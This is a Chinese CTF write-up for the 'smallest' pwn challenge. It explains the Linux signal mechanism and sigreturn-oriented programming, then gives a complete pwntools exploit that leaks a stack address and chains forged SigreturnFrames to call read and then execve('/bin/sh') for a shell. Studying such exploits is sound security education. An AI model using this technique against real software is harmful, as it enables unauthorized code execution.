SROP-smallest

发布时间 2023-07-26 12:22:20作者: Margatroid

第一次打srop,题目来源是https://github.com/ctf-wiki/ctf-challenges/blob/master/pwn/stackoverflow/srop/2016-360%E6%98%A5%E7%A7%8B%E6%9D%AF-srop/smallest

这个原理是从hollk师傅的博客中搬来的https://hollk.blog.csdn.net/article/details/107512670?spm=1001.2014.3001.5502

signal机制
signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用 kill 来发送软中断信号。一般分为三大步:(出自wiki和yichen)

① 内核向某个进程发送signal机制,该进程会被暂时挂起,进入内核态
② 内核会为该进程保存相应的上下文,跳转到之前注册好的signal handler中处理signal
③ signal返回
④ 内核为进程恢复之前保留的上下文,恢复进程的执行

内核在保存进程相应上下文阶段主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 Signal Frame。需要注意的是,这一部分是在用户进程的地址空间的。之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。

先看保护:

只开了nx,栈不可执行。

然后看ida

相当于read(0,rsp,0x400)

由于最后retn相当于pop rip,所以会将我们写进去的内容直接当地址去解析,因此可以反复执行程序(每执行一次rsp会向高地址增长 且栈上数据不会被清除,在栈中连续布置地址即可)。

看到syscall, 我最先想到的是通过ret2syscall,将系统调用号(rax)改为0x3b,rdi是'/bin/sh',rsi是0,rdx是0,直接执行system('/bin/sh'),无法更改rdx值,所以此路不通。

而srop简单来说,就是能够控制所有寄存器的值,所以:

  1. 泄露栈地址:read执行完后会将读入的字节数返回给rax,可以调用write,read等函数,我们需要手动写入1字节的内容,将rax改为1,调用write来泄露栈地址,从而获取栈地址。
  2. 调用read:先将rax改为15来调用sigreturn,再修改寄存器rax=0,rdi=0,rsi=泄露栈地址,rdx=读入大小,rsp=泄露栈地址,rsi=syscall来调用read
  3. 写入binsh并调用execve:同2,但是我将binsh布置在了payload的后方,需要计算泄露的栈地址与它的偏移。

exp:

from pwn import *
from LibcSearcher import*
context(os='linux', arch='amd64', log_level='debug') 
p = process('./pwn')
#p = remote('node4.anna.nssctf.cn',28099)
elf = ELF('./pwn')
#libc = ELF('./libc.so.6')

#gdb.attach(p)
payload1=p64(0x4000b0)*3
p.send(payload1)

payload2=b'\xb3'
pause()
p.send(payload2)
leak_stack=u64(p.recv()[8:16])
print('<<leak_addr=',hex(leak_stack))


read = SigreturnFrame()
read.rax = constants.SYS_read
read.rdi = 0
read.rsi = leak_stack
read.rdx = 0x400
read.rsp = leak_stack
read.rip = 0x4000be
payload3  = p64(0x4000b0) + p64(0x4000be)+ bytes(read)
pause()
p.send(payload3)
pause()
p.send(payload3[8:8+15])#修改rax为15 


execve = SigreturnFrame()
execve.rax = constants.SYS_execve
execve.rdi = leak_stack + 0x108 #binsh地址
execve.rsi = 0x0
execve.rdx = 0x0
execve.rsp = leak_stack 
execve.rip = 0x4000be


payload4=p64(0x4000b0)+p64(0x4000be)+bytes(execve)
print(len(payload4))
payload4+=b'/bin/sh\x00'
pause()
p.send(payload4)
pause()
gdb.attach(p)
p.send(payload4[8:8+15])#修改rax为15
p.interactive()

 注意点:python3要将execve和read转成bytes